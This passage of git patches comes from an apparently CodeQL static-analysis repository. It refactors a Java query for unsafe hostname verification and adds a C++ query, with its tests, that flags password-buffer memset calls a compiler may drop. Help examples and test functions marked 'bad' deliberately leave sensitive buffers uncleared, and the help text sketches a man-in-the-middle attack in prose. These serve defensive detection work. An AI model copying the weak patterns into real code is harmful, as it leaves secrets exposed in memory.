-135,6 +135,28 @@ | arrayassignment.cpp:145:12:145:12 | 5 | arrayassignment.cpp:145:7:145:13 | access to array | TAINT | | arrayassignment.cpp:146:7:146:10 | arr3 | arrayassignment.cpp:146:7:146:13 | access to array | | | arrayassignment.cpp:146:12:146:12 | 5 | arrayassignment.cpp:146:7:146:13 | access to array | TAINT | +| constructor_delegation.cpp:8:2:8:8 | this | constructor_delegation.cpp:8:20:8:24 | constructor init of field x [pre-this] | | +| constructor_delegation.cpp:8:14:8:15 | _x | constructor_delegation.cpp:8:22:8:23 | _x | | +| constructor_delegation.cpp:8:22:8:23 | _x | constructor_delegation.cpp:8:20:8:24 | constructor init of field x | TAINT | +| constructor_delegation.cpp:9:37:9:38 | _x | constructor_delegation.cpp:9:29:9:39 | call to MyValue | TAINT | +| constructor_delegation.cpp:10:36:10:37 | _x | constructor_delegation.cpp:10:36:10:42 | ... + ... | TAINT | +| constructor_delegation.cpp:10:36:10:42 | ... + ... | constructor_delegation.cpp:10:28:10:43 | call to MyValue | TAINT | +| constructor_delegation.cpp:10:41:10:42 | _y | constructor_delegation.cpp:10:36:10:42 | ... + ... | TAINT | +| constructor_delegation.cpp:11:48:11:48 | 0 | constructor_delegation.cpp:11:40:11:49 | call to MyValue | TAINT | +| constructor_delegation.cpp:19:44:19:45 | _x | constructor_delegation.cpp:19:36:19:46 | call to MyValue | TAINT | +| constructor_delegation.cpp:24:13:24:13 | 0 | constructor_delegation.cpp:24:13:24:14 | call to MyValue | TAINT | +| constructor_delegation.cpp:24:13:24:14 | call to MyValue | constructor_delegation.cpp:36:7:36:8 | v1 | | +| constructor_delegation.cpp:25:13:25:18 | call to source | constructor_delegation.cpp:25:13:25:21 | call to MyValue | TAINT | +| constructor_delegation.cpp:25:13:25:21 | call to MyValue | constructor_delegation.cpp:37:7:37:8 | v2 | | +| constructor_delegation.cpp:26:13:26:20 | call to MyValue | constructor_delegation.cpp:38:7:38:8 | v3 | | +| constructor_delegation.cpp:27:13:27:27 | call to MyValue | constructor_delegation.cpp:39:7:39:8 | v4 | | +| constructor_delegation.cpp:28:13:28:17 | call to MyValue | constructor_delegation.cpp:40:7:40:8 | v5 | | +| constructor_delegation.cpp:29:13:29:24 | call to MyValue | constructor_delegation.cpp:41:7:41:8 | v6 | | +| constructor_delegation.cpp:30:13:30:24 | call to MyValue | constructor_delegation.cpp:42:7:42:8 | v7 | | +| constructor_delegation.cpp:31:13:31:26 | call to MyValue | constructor_delegation.cpp:43:7:43:8 | v8 | | +| constructor_delegation.cpp:32:13:32:33 | call to MyValue | constructor_delegation.cpp:44:7:44:8 | v9 | | +| constructor_delegation.cpp:33:21:33:28 | call to MyDerivedValue | constructor_delegation.cpp:45:7:45:9 | v10 | | +| constructor_delegation.cpp:34:21:34:35 | call to MyDerivedValue | constructor_delegation.cpp:46:7:46:9 | v11 | | | copyableclass.cpp:8:2:8:16 | this | copyableclass.cpp:8:28:8:32 | constructor init of field v [pre-this] | | | copyableclass.cpp:8:22:8:23 | _v | copyableclass.cpp:8:30:8:31 | _v | | | copyableclass.cpp:8:30:8:31 | _v | copyableclass.cpp:8:28:8:32 | constructor init of field v | TAINT | From 4cfdb10ddc0f75ed2189bb299c16d08a05ac0041 Mon Sep 17 00:00:00 2001 From: intrigus-lgtm <60750685+intrigus-lgtm@users.noreply.github.com> Date: Mon, 11 Jan 2021 18:50:43 +0100 Subject: [PATCH 0506/1241] Java: Improve QLDoc & simplify code Co-authored-by: Anders Schack-Mulligen <aschackmull@users.noreply.github.com> --- .../src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql | 4 +--- java/ql/src/semmle/code/java/security/Encryption.qll | 6 +++--- 2 files changed, 4 insertions(+), 6 deletions(-) diff --git a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql index f17808864af..75ecd1112d0 100644 --- a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql +++ b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql @@ -97,9 +97,7 @@ private class FlagType extends Type { FlagType() { this instanceof TypeString or - exists(BoxedType boxedBoolean | boxedBoolean.getPrimitiveType().hasName("boolean") | - this = boxedBoolean or this = boxedBoolean.getPrimitiveType() - ) + this instanceof BooleanType } } diff --git a/java/ql/src/semmle/code/java/security/Encryption.qll b/java/ql/src/semmle/code/java/security/Encryption.qll index 084254b5a41..0fb491d7499 100644 --- a/java/ql/src/semmle/code/java/security/Encryption.qll +++ b/java/ql/src/semmle/code/java/security/Encryption.qll @@ -29,7 +29,7 @@ class SSLContext extends RefType { SSLContext() { hasQualifiedName("javax.net.ssl", "SSLContext") } } -/** Models the `javax.net.ssl.SSLSession` class. */ +/** The `javax.net.ssl.SSLSession` class. */ class SSLSession extends RefType { SSLSession() { hasQualifiedName("javax.net.ssl", "SSLSession") } } @@ -38,7 +38,7 @@ class HostnameVerifier extends RefType { HostnameVerifier() { hasQualifiedName("javax.net.ssl", "HostnameVerifier") } } -/** Models the `verify` method of the class `javax.net.ssl.HostnameVerifier`. */ +/** The `verify` method of the class `javax.net.ssl.HostnameVerifier`. */ class HostnameVerifierVerify extends Method { HostnameVerifierVerify() { hasName("verify") and @@ -83,7 +83,7 @@ class SetHostnameVerifierMethod extends Method { } } -/** Models the `setDefaultHostnameVerifier` method of the class `javax.net.ssl.HttpsURLConnection`. */ +/** The `setDefaultHostnameVerifier` method of the class `javax.net.ssl.HttpsURLConnection`. */ class SetDefaultHostnameVerifierMethod extends Method { SetDefaultHostnameVerifierMethod() { hasName("setDefaultHostnameVerifier") and From 722bd4dafa8f54aa5a584fea4732971aa7c17048 Mon Sep 17 00:00:00 2001 From: intrigus-lgtm <60750685+intrigus-lgtm@users.noreply.github.com> Date: Mon, 11 Jan 2021 18:57:24 +0100 Subject: [PATCH 0507/1241] Java: Revise qhelp --- .../Security/CWE/CWE-297/UnsafeHostnameVerification.qhelp | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.qhelp b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.qhelp index 84d6e505075..520174bf4c5 100644 --- a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.qhelp +++ b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.qhelp @@ -15,11 +15,11 @@ An attack might look like this: <ol> <li>The program connects to <code>https://example.com</code>.</li> <li>The attacker intercepts this connection and presents an apparently-valid certificate of their choosing.</li> - <li>The `TrustManager` of the program verifies that the certificate has been issued by a trusted certificate authority.</li> - <li>Java checks whether the certificate has been issued for the host <code>example.com</code>. This check fails because the certificate has been issued for a domain controlled by the attacker, for example: <code>malicious.domain</code>.</li> - <li>Java wants to reject the certificate because the hostname does not match. Before doing this it checks whether a <code>HostnameVerifier</code> exists.</li> + <li>The <code>TrustManager</code> of the program verifies that the certificate has been issued by a trusted certificate authority.</li> + <li>The Java HTTPS library checks whether the certificate has been issued for the host <code>example.com</code>. This check fails because the certificate has been issued for a domain controlled by the attacker, for example: <code>malicious.domain</code>.</li> + <li>The HTTPS library wants to reject the certificate because the hostname does not match. Before doing this it checks whether a <code>HostnameVerifier</code> exists.</li> <li>Your <code>HostnameVerifier</code> is called which returns <code>true</code> for any certificate so also for this one.</li> - <li>Java proceeds with the connection since your <code>HostnameVerifier</code> accepted it.</li> + <li>The program proceeds with the connection since your <code>HostnameVerifier</code> accepted it.</li> <li>The attacker can now read the data your program sends to <code>https://example.com</code> and/or alter its replies while the program thinks the connection is secure.</li> </ol> From 85286f362c89c14a5c5442b58b07f94dc526a6e7 Mon Sep 17 00:00:00 2001 From: intrigus <abc123zeus@live.de> Date: Mon, 11 Jan 2021 19:02:07 +0100 Subject: [PATCH 0508/1241] Java: Replace global flow by local flow --- .../CWE/CWE-297/UnsafeHostnameVerification.ql | 65 +++++++++---------- 1 file changed, 31 insertions(+), 34 deletions(-) diff --git a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql index 75ecd1112d0..3ab49a866bb 100644 --- a/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql +++ b/java/ql/src/Security/CWE/CWE-297/UnsafeHostnameVerification.ql @@ -106,45 +106,42 @@ private predicate isEqualsIgnoreCaseMethodAccess(MethodAccess ma) { ma.getMethod().getDeclaringType() instanceof TypeString } -/** A configuration to model the flow of feature flags into `Guard`s. This is used to determine whether something is guarded by such a flag. */ -private class FlagToGuardFlow extends DataFlow::Configuration { - FlagToGuardFlow() { this = "FlagToGuardFlow" } +/** Holds if `source` should is considered a flag. */ +private predicate isFlag(DataFlow::Node source) { + exists(VarAccess v | v.getVariable().getName() = getAFlagName() | + source.asExpr() = v and v.getType() instanceof FlagType + ) + or + exists(StringLiteral s | s.getRepresentedString() = getAFlagName() | source.asExpr() = s) + or + exists(MethodAccess ma | ma.getMethod().getName() = getAFlagName() | + source.asExpr() = ma and + ma.getType() instanceof FlagType and + not isEqualsIgnoreCaseMethodAccess(ma) + ) +} - override predicate isSource(DataFlow::Node source) { - exists(VarAccess v | v.getVariable().getName() = getAFlagName() | - source.asExpr() = v and v.getType() instanceof FlagType - ) - or - exists(StringLiteral s | s.getRepresentedString() = getAFlagName() | source.asExpr() = s) - or - exists(MethodAccess ma | ma.getMethod().getName() = getAFlagName() | - source.asExpr() = ma and - ma.getType() instanceof FlagType and - not isEqualsIgnoreCaseMethodAccess(ma) - ) - } - - override predicate isSink(DataFlow::Node sink) { sink.asExpr() instanceof Guard } - - override predicate isAdditionalFlowStep(DataFlow::Node node1, DataFlow::Node node2) { - exists(MethodAccess ma | ma.getMethod() = any(EnvReadMethod m) | - ma = node2.asExpr() and ma.getAnArgument() = node1.asExpr() - ) - or - exists(MethodAccess ma | - ma.getMethod().hasName("parseBoolean") and - ma.getMethod().getDeclaringType().hasQualifiedName("java.lang", "Boolean") - | - ma = node2.asExpr() and ma.getAnArgument() = node1.asExpr() - ) - } +/** Holds if there is flow from `node1` to `node2` either due to local flow or due to custom flow steps. */ +private predicate flagFlowStep(DataFlow::Node node1, DataFlow::Node node2) { + DataFlow::localFlowStep(node1, node2) + or + exists(MethodAccess ma | ma.getMethod() = any(EnvReadMethod m) | + ma = node2.asExpr() and ma.getAnArgument() = node1.asExpr() + ) + or + exists(MethodAccess ma | + ma.getMethod().hasName("parseBoolean") and + ma.getMethod().getDeclaringType().hasQualifiedName("java.lang", "Boolean") + | + ma = node2.asExpr() and ma.getAnArgument() = node1.asExpr() + ) } /** Gets a guard that depends on a flag. */ private Guard getAGuard() { - exists(FlagToGuardFlow cfg, DataFlow::Node source, DataFlow::Node sink | - cfg.hasFlow(source, sink) - | + exists(DataFlow::Node source, DataFlow::Node sink | + isFlag(source) and + flagFlowStep*(source, sink) and sink.asExpr() = result ) } From b28444b55c1449537593d52d05bff4a903223306 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Mon, 11 Jan 2021 21:17:49 +0300 Subject: [PATCH 0509/1241] Update MemoryLeakOnFailedCallToRealloc.ql I thought since there is no work on this PR, I will delete the residual import. --- .../Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql | 1 - 1 file changed, 1 deletion(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql b/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql index 1ba57f55f09..da54d9a49bf 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql +++ b/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql @@ -12,7 +12,6 @@ */ import cpp -import semmle.code.cpp.dataflow.DataFlow /** * A call to `realloc` of the form `v = realloc(v, size)`, for some variable `v`. From 7409dd015e04d45b417dbe85681274e2eacd3769 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Mon, 11 Jan 2021 18:58:32 +0000 Subject: [PATCH 0510/1241] C++: Autoformat. --- .../src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll index 23161bc4b89..7ca03067d0a 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/DefaultTaintTracking.qll @@ -582,9 +582,7 @@ module TaintedWithPath { } override predicate isBarrier(DataFlow::Node node) { - exists(TaintTrackingConfiguration cfg, Expr e | - cfg.isBarrier(e) and node = getNodeForExpr(e) - ) + exists(TaintTrackingConfiguration cfg, Expr e | cfg.isBarrier(e) and node = getNodeForExpr(e)) } override predicate isBarrierIn(DataFlow::Node node) { nodeIsBarrierIn(node) } From b185a3315735ca50fc6329aea6766fd3da8476fe Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Mon, 11 Jan 2021 23:39:02 +0300 Subject: [PATCH 0511/1241] Add files via upload --- .../CompilerRemovalOfCodeToClearBuffers.c | 35 +++++ .../CompilerRemovalOfCodeToClearBuffers.qhelp | 31 +++++ .../CompilerRemovalOfCodeToClearBuffers.ql | 121 ++++++++++++++++++ 3 files changed, 187 insertions(+) create mode 100644 cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c create mode 100644 cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.qhelp create mode 100644 cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c new file mode 100644 index 00000000000..ab1bae3ae21 --- /dev/null +++ b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c @@ -0,0 +1,35 @@ +// BAD: the memset call will probably be optimized. +void getPassword(void) { + char pwd[64]; + if (GetPassword(pwd, sizeof(pwd))) { + /* Checking of password, secure operations, etc. */ + } + memset(pwd, 0, sizeof(pwd)); +} +// GOOD: in this case the memset will not be optimized. +void getPassword(void) { + char pwd[64]; + + if (retrievePassword(pwd, sizeof(pwd))) { + /* Checking of password, secure operations, etc. */ + } + memset_s(pwd, 0, sizeof(pwd)); +} +// GOOD: in this case the memset will not be optimized. +void getPassword(void) { + char pwd[64]; + if (retrievePassword(pwd, sizeof(pwd))) { + /* Checking of password, secure operations, etc. */ + } + SecureZeroMemory(pwd, sizeof(pwd)); +} +// GOOD: in this case the memset will not be optimized. +void getPassword(void) { + char pwd[64]; + if (retrievePassword(pwd, sizeof(pwd))) { + /* Checking of password, secure operations, etc. */ + } +#pragma optimize("", off) + memset(pwd, 0, sizeof(pwd)); +#pragma optimize("", on) +} diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.qhelp b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.qhelp new file mode 100644 index 00000000000..89b4189a100 --- /dev/null +++ b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.qhelp @@ -0,0 +1,31 @@ +<!DOCTYPE qhelp PUBLIC + "-//Semmle//qhelp//EN" + "qhelp.dtd"> +<qhelp> +<overview> +<p>Compiler optimization will exclude the cleaning of private information. +Using the memset function to clear private data as a final expression when working with a variable is potentially dangerous, since the compiler can optimize this call. +For some compilers, optimization is also possible when using calls to free memory after the <code>memset</codee> function.</p> + +<p>It is possible to miss detection of vulnerabilities if used to clear fields of structures or parts of a buffer.</p> + +</overview> +<recommendation> + +<p>We recommend to use the <code>RtlSecureZeroMemory</code> or <code>memset_s</code> functions, or compilation flags that exclude optimization of <code>memset</code> calls (-fno-builtin-memset).</p> + +</recommendation> +<example> +<p>The following example demonstrates an erroneous and corrected use of the <code>memset</code> function.</p> +<sample src="CompilerRemovalOfCodeToClearBuffers.c" /> + +</example> +<references> + +<li> + CERT C Coding Standard: + <a href="https://wiki.sei.cmu.edu/confluence/display/c/MSC06-C.+Beware+of+compiler+optimizations">MSC06-C. Beware of compiler optimizations</a>. +</li> + +</references> +</qhelp> diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql new file mode 100644 index 00000000000..fd53478cce6 --- /dev/null +++ b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql @@ -0,0 +1,121 @@ +/** + * @name Compiler Removal Of Code To Clear Buffers + * @description --Using the memset function to clear private data as a final expression when working with a variable is potentially dangerous because the compiler can optimize this call. + * --For some compilers, optimization is also possible when using calls to free memory after the memset function. + * --To clear it, you need to use the RtlSecureZeroMemory or memset_s functions, or compilation flags that exclude optimization of memset calls (-fno-builtin-memset). + * @kind problem + * @id cpp/compiler-removal-of-code-to-clear-buffers + * @problem.severity warning + * @precision medium + * @tags security + * external/cwe/cwe-14 + */ + +import cpp +import semmle.code.cpp.dataflow.DataFlow + +/** + * A call to `memset` , for some local variable. + */ +class CompilerRemovaMemset extends FunctionCall { + CompilerRemovaMemset() { + this.getTarget().hasName("memset") and + exists(DataFlow::Node source, DataFlow::Node sink, LocalVariable isv, Expr exp | + DataFlow::localFlow(source, sink) and + this.getArgument(0) = isv.getAnAccess() and + source.asExpr() = exp and + exp.getLocation().getEndLine() < this.getArgument(0).getLocation().getStartLine() and + sink.asExpr() = this.getArgument(0) + ) + } + + predicate isExistsAllocForThisVariable() { + exists(FunctionCall alloc, Variable v | + alloc = v.getAnAssignedValue() and + this.getArgument(0) = v.getAnAccess() and + alloc.getASuccessor+() = this + ) + } + + predicate isExistsFreeForThisVariable() { + exists(FunctionCall free, Variable v | + free instanceof DeallocationExpr and + this.getArgument(0) = v.getAnAccess() and + free.getArgument(0) = v.getAnAccess() and + this.getASuccessor+() = free + ) + } + + predicate isExistsCallWithThisVariableExcludingDeallocationCalls() { + exists(FunctionCall fc, Variable v | + not fc instanceof DeallocationExpr and + this.getArgument(0) = v.getAnAccess() and + fc.getAnArgument() = v.getAnAccess() and + this.getASuccessor+() = fc + ) + } + + predicate isVariableUseAfterMemsetExcludingCalls() { + exists(DataFlow::Node source, DataFlow::Node sink, LocalVariable isv, Expr exp | + DataFlow::localFlow(source, sink) and + this.getArgument(0) = isv.getAnAccess() and + source.asExpr() = isv.getAnAccess() and + exp.getLocation().getStartLine() > this.getArgument(2).getLocation().getEndLine() and + not exp.getParent() instanceof FunctionCall and + sink.asExpr() = exp + ) + } + + predicate isVariableUseBoundWithArgumentFunction() { + exists(DataFlow::Node source, DataFlow::Node sink, LocalVariable isv, Parameter p, Expr exp | + DataFlow::localFlow(source, sink) and + this.getArgument(0) = isv.getAnAccess() and + this.getEnclosingFunction().getAParameter() = p and + exp.getAChild*() = p.getAnAccess() and + source.asExpr() = exp and + sink.asExpr() = isv.getAnAccess() + ) + } + + predicate isVariableUseBoundWithGlobalVariable() { + exists( + DataFlow::Node source, DataFlow::Node sink, LocalVariable isv, GlobalVariable gv, Expr exp + | + DataFlow::localFlow(source, sink) and + this.getArgument(0) = isv.getAnAccess() and + exp.getAChild*() = gv.getAnAccess() and + source.asExpr() = exp and + sink.asExpr() = isv.getAnAccess() + ) + } + + predicate isExistsCompilationFlagsBlockingRemoval() { + exists(Compilation c | + c.getAFileCompiled() = this.getFile() and + c.getAnArgument() = "-fno-builtin-memset" + ) + } + + predicate isUseVCCompilation() { + exists(Compilation c | + c.getAFileCompiled() = this.getFile() and + ( + c.getArgument(2).toString().matches("%gcc%") or + c.getArgument(2).toString().matches("%g++%") or + c.getArgument(2).toString().matches("%clang%") or + c.getArgument(2).toString() = "--force-recompute" + ) + ) + } +} + +from CompilerRemovaMemset fc +where + not (fc.isExistsAllocForThisVariable() and not fc.isExistsFreeForThisVariable()) and + not (fc.isExistsFreeForThisVariable() and not fc.isUseVCCompilation()) and + not fc.isVariableUseAfterMemsetExcludingCalls() and + not fc.isExistsCallWithThisVariableExcludingDeallocationCalls() and + not fc.isVariableUseBoundWithArgumentFunction() and + not fc.isVariableUseBoundWithGlobalVariable() and + not fc.isExistsCompilationFlagsBlockingRemoval() +select fc.getArgument(0), "this variable will not be cleared" From ed6d8e3d188e2ae99b75ca4adf37190f9689b777 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Mon, 11 Jan 2021 23:40:38 +0300 Subject: [PATCH 0512/1241] Add files via upload --- ...mpilerRemovalOfCodeToClearBuffers.expected | 3 + .../CompilerRemovalOfCodeToClearBuffers.qlref | 1 + .../Security/CWE/CWE-14/semmle/tests/test.c | 201 ++++++++++++++++++ 3 files changed, 205 insertions(+) create mode 100644 cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/CompilerRemovalOfCodeToClearBuffers.expected create mode 100644 cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/CompilerRemovalOfCodeToClearBuffers.qlref create mode 100644 cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/test.c diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/CompilerRemovalOfCodeToClearBuffers.expected b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/CompilerRemovalOfCodeToClearBuffers.expected new file mode 100644 index 00000000000..fbb5a3f1552 --- /dev/null +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/CompilerRemovalOfCodeToClearBuffers.expected @@ -0,0 +1,3 @@ +| test.c:13:9:13:13 | buff1 | this variable will not be cleared | +| test.c:35:9:35:13 | buff1 | this variable will not be cleared | +| test.c:43:9:43:13 | buff1 | this variable will not be cleared | diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/CompilerRemovalOfCodeToClearBuffers.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/CompilerRemovalOfCodeToClearBuffers.qlref new file mode 100644 index 00000000000..61d2a29b126 --- /dev/null +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/CompilerRemovalOfCodeToClearBuffers.qlref @@ -0,0 +1 @@ +experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/test.c b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/test.c new file mode 100644 index 00000000000..221072330c3 --- /dev/null +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-14/semmle/tests/test.c @@ -0,0 +1,201 @@ +struct buffers +{ + unsigned char buff1[50]; + unsigned char *buff2; +} globalBuff1,*globalBuff2; + +unsigned char * globalBuff; +void badFunc0_0(){ + unsigned char buff1[12]; + int i; + for(i=0;i<12;i++) + buff1[i]=13; + memset(buff1,12,12); +} +void nobadFunc0_0(){ + unsigned char buff1[12]; + memset(buff1,12,12); +} +void nobadFunc0_1(){ + unsigned char buff1[12]; + int i; + memset(buff1,12,12); + for(i=0;i<12;i++) + buff1[i]=13; + free(buff1); +} +void nobadFunc1_0(){ + unsigned char * buff1; + buff1 = (unsigned char *) malloc(12); + memset(buff1,12,12); +} +void badFunc1_0(){ + unsigned char * buff1; + buff1 = (unsigned char *) malloc(12); + memset(buff1,12,12); + free(buff1); +} +void badFunc1_1(){ + unsigned char buff1[12]; + int i; + for(i=0;i<12;i++) + buff1[i]=13; + memset(buff1,12,12); + free(buff1); +} +void nobadFunc2_0_0(){ + unsigned char buff1[12]; + int i; + for(i=0;i<12;i++) + buff1[i]=13; + memset(buff1,12,12); + printf(buff1); +} + +void nobadFunc2_0_1(){ + unsigned char buff1[12]; + int i; + for(i=0;i<12;i++) + buff1[i]=13; + memset(buff1,12,12); + printf(buff1+3); +} + +void nobadFunc2_0_2(){ + unsigned char buff1[12]; + int i; + for(i=0;i<12;i++) + buff1[i]=13; + memset(buff1,12,12); + printf(*buff1); +} + +void nobadFunc2_0_3(){ + unsigned char buff1[12]; + int i; + for(i=0;i<12;i++) + buff1[i]=13; + memset(buff1,12,12); + printf(*(buff1+3)); +} +unsigned char * nobadFunc2_0_4(){ + unsigned char buff1[12]; + int i; + for(i=0;i<12;i++) + buff1[i]=13; + memset(buff1,12,12); + return buff1; +} + +unsigned char * nobadFunc2_0_5(){ + unsigned char buff1[12]; + int i; + for(i=0;i<12;i++) + buff1[i]=13; + memset(buff1,12,12); + return buff1+3; +} +unsigned char nobadFunc2_0_6(){ + unsigned char buff1[12]; + int i; + for(i=0;i<12;i++) + buff1[i]=13; + memset(buff1,12,12); + return *buff1; +} + +unsigned char nobadFunc2_0_7(){ + unsigned char buff1[12]; + int i; + for(i=0;i<12;i++) + buff1[i]=13; + memset(buff1,12,12); + return *(buff1+3); +} +void nobadFunc2_1_0(){ + unsigned char buff1[12]; + int i; + for(i=0;i<12;i++) + buff1[i]=13; + memset(buff1,12,12); + if(*buff1==0) + printf("123123"); +} +void nobadFunc2_1_1(){ + unsigned char buff1[12]; + int i; + for(i=0;i<12;i++) + buff1[i]=13; + memset(buff1,12,12); + if(*(buff1+3)==0) + printf("123123"); +} +void nobadFunc2_1_2(){ + unsigned char buff1[12]; + int i; + for(i=0;i<12;i++) + buff1[i]=13; + memset(buff1,12,12); + buff1[2]=5; +} +void nobadFunc3_0(unsigned char * buffAll){ + unsigned char * buff1 = buffAll; + memset(buff1,12,12); +} +void nobadFunc3_1(unsigned char * buffAll){ + unsigned char * buff1 = buffAll+3; + memset(buff1,12,12); +} +void nobadFunc3_2(struct buffers buffAll){ + unsigned char * buff1 = buffAll.buff1; + memset(buff1,12,12); +} +void nobadFunc3_3(struct buffers buffAll){ + unsigned char * buff1 = buffAll.buff2; + memset(buff1,12,12); +} +void nobadFunc3_4(struct buffers buffAll){ + unsigned char * buff1 = buffAll.buff2+3; + memset(buff1,12,12); +} +void nobadFunc3_5(struct buffers * buffAll){ + unsigned char * buff1 = buffAll->buff1; + memset(buff1,12,12); +} +void nobadFunc3_6(struct buffers *buffAll){ + unsigned char * buff1 = buffAll->buff2; + memset(buff1,12,12); +} +void nobadFunc4(){ + unsigned char * buff1 = globalBuff; + memset(buff1,12,12); +} +void nobadFunc4_0(){ + unsigned char * buff1 = globalBuff; + memset(buff1,12,12); +} +void nobadFunc4_1(){ + unsigned char * buff1 = globalBuff+3; + memset(buff1,12,12); +} +void nobadFunc4_2(){ + unsigned char * buff1 = globalBuff1.buff1; + memset(buff1,12,12); +} +void nobadFunc4_3(){ + unsigned char * buff1 = globalBuff1.buff2; + memset(buff1,12,12); +} +void nobadFunc4_4(){ + unsigned char * buff1 = globalBuff1.buff2+3; + memset(buff1,12,12); +} +void nobadFunc4_5(){ + unsigned char * buff1 = globalBuff2->buff1; + memset(buff1,12,12); +} +void nobadFunc4_6(){ + unsigned char * buff1 = globalBuff2->buff2; + memset(buff1,12,12); +} + From 65ff526eef73fbe0625d648722a6c458ed3feba3 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Mon, 11 Jan 2021 23:49:53 +0300 Subject: [PATCH 0513/1241] Delete CompilerRemovalOfCodeToClearBuffers.c sorry i was in a hurry --- .../CompilerRemovalOfCodeToClearBuffers.c | 35 ------------------- 1 file changed, 35 deletions(-) delete mode 100644 cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c deleted file mode 100644 index ab1bae3ae21..00000000000 --- a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c +++ /dev/null @@ -1,35 +0,0 @@ -// BAD: the memset call will probably be optimized. -void getPassword(void) { - char pwd[64]; - if (GetPassword(pwd, sizeof(pwd))) { - /* Checking of password, secure operations, etc. */ - } - memset(pwd, 0, sizeof(pwd)); -} -// GOOD: in this case the memset will not be optimized. -void getPassword(void) { - char pwd[64]; - - if (retrievePassword(pwd, sizeof(pwd))) { - /* Checking of password, secure operations, etc. */ - } - memset_s(pwd, 0, sizeof(pwd)); -} -// GOOD: in this case the memset will not be optimized. -void getPassword(void) { - char pwd[64]; - if (retrievePassword(pwd, sizeof(pwd))) { - /* Checking of password, secure operations, etc. */ - } - SecureZeroMemory(pwd, sizeof(pwd)); -} -// GOOD: in this case the memset will not be optimized. -void getPassword(void) { - char pwd[64]; - if (retrievePassword(pwd, sizeof(pwd))) { - /* Checking of password, secure operations, etc. */ - } -#pragma optimize("", off) - memset(pwd, 0, sizeof(pwd)); -#pragma optimize("", on) -} From c38cfcb735163977665ca01eee0cd975e1a1f12c Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Mon, 11 Jan 2021 23:50:19 +0300 Subject: [PATCH 0514/1241] Delete 